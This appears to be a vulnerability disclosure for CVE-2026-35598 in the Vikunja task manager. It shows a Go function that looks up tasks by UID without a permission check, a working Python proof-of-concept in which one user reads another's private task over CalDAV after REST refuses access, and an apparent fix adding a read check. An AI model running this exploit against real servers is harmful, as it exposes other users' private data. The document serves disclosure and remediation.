Python CVE-2026-35598

func GetTasksByUIDs(s *xorm.Session, uids []string, a web.Auth) (tasks []*Task, err error) {
    tasks = []*Task{}
    err = s.In("uid", uids).Find(&tasks)
    // ...
}

import requests
from requests.auth import HTTPBasicAuth

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

def login(u, p):
    return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]

def h(token):
    return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

alice_token = login("alice", "Alice1234!")
bob_token = login("bob", "Bob12345!")
# alice creates private project and task
proj = requests.put(f"{API}/projects", headers=h(alice_token),
                    json={"title": "Private"}).json()
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(alice_token),
                    json={"title": "Secret CEO salary 500k"}).json()
# task UID must be set (normally done by CalDAV sync; here via sqlite for PoC)
# sqlite3 vikunja.db "UPDATE tasks SET uid='test-uid-001' WHERE id={task['id']};"
TASK_UID = "test-uid-001"
# bob tries REST API
r = requests.get(f"{API}/tasks/{task['id']}", headers=h(bob_token))
print(f"REST API: {r.status_code}")
# 403
# bob gets CalDAV token
caldav_token = requests.put(f"{API}/user/settings/token/caldav",
    headers=h(bob_token)).json()["token"]
# bob reads alice's task via CalDAV (project ID in URL doesn't matter)
r = requests.get(f"{TARGET}/dav/projects/{proj['id']}/{TASK_UID}.ics",
                 auth=HTTPBasicAuth("bob", caldav_token))
print(f"CalDAV: {r.status_code}")
# 200
print(r.text)
# contains SUMMARY:Secret CEO salary 500k

REST API: 403
CalDAV: 200
BEGIN:VCALENDAR
VERSION:2.0
BEGIN:VTODO
UID:test-uid-001
SUMMARY:Secret CEO salary 500k
DUE:20260401T000000Z
END:VTODO
END:VCALENDAR

tasks, err := models.GetTasksByUIDs(s, []string{vcls.task.UID}, vcls.user)
// ...
for _, t := range tasks {
    project := &models.Project{ID: t.ProjectID}
    can, _, err := project.CanRead(s, vcls.user)
    if err != nil || !can {
        return nil, false, errs.ForbiddenError
    }
}